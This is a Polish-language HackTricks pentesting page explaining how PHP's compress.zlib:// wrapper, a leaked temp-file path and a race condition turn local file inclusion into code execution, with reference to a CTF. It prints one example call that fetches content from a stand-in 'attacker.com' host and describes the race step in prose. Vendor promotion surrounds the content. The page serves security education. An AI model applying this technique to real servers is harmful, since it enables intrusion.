hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

5.6 KiB

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

WhiteIntel

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

{% embed url="https://whiteintel.io" %}


compress.zlib:// i PHP_STREAM_PREFER_STDIO

Plik otwarty przy użyciu protokołu compress.zlib:// z flagą PHP_STREAM_PREFER_STDIO może kontynuować zapisywanie danych, które przychodzą do połączenia później do tego samego pliku.

Oznacza to, że wywołanie takie jak:

file_get_contents("compress.zlib://http://attacker.com/file")

Będzie wysyłać żądanie o http://attacker.com/file, a następnie serwer może odpowiedzieć na żądanie poprawną odpowiedzią HTTP, utrzymać otwarte połączenie i wysłać dodatkowe dane jakiś czas później, które również zostaną zapisane do pliku.

Możesz zobaczyć tę informację w tym fragmencie kodu php-src w main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Wyścig o RCE

Ten CTF został rozwiązany przy użyciu poprzedniego triku.

Atakujący sprawi, że serwer ofiary otworzy połączenie, czytając plik z serwera atakującego przy użyciu protokołu compress.zlib.

Podczas istnienia tego połączenia atakujący wydobyje ścieżkę do pliku tymczasowego utworzonego (która wycieka z serwera).

Podczas gdy połączenie jest nadal otwarte, atakujący wykorzysta LFI, wczytując plik tymczasowy, który kontroluje.

Jednakże, istnieje sprawdzenie w serwerze WWW, które zapobiega wczytywaniu plików zawierających <?. Dlatego atakujący wykorzysta Wyścig o RCE. W połączeniu, które jest nadal otwarte, atakujący wyśle ładunek PHP PO tym, jak serwer WWW sprawdził, czy plik zawiera zakazane znaki, ale PRZED wczytaniem jego zawartości.

Aby uzyskać więcej informacji, sprawdź opis Wyścigu o RCE i CTF na stronie https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel

WhiteIntel to wyszukiwarka zasilana przez ciemny internet, która oferuje darmowe funkcjonalności do sprawdzania, czy firma lub jej klienci nie zostali skompromitowani przez złośliwe oprogramowanie kradnące dane.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

{% embed url="https://whiteintel.io" %}

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: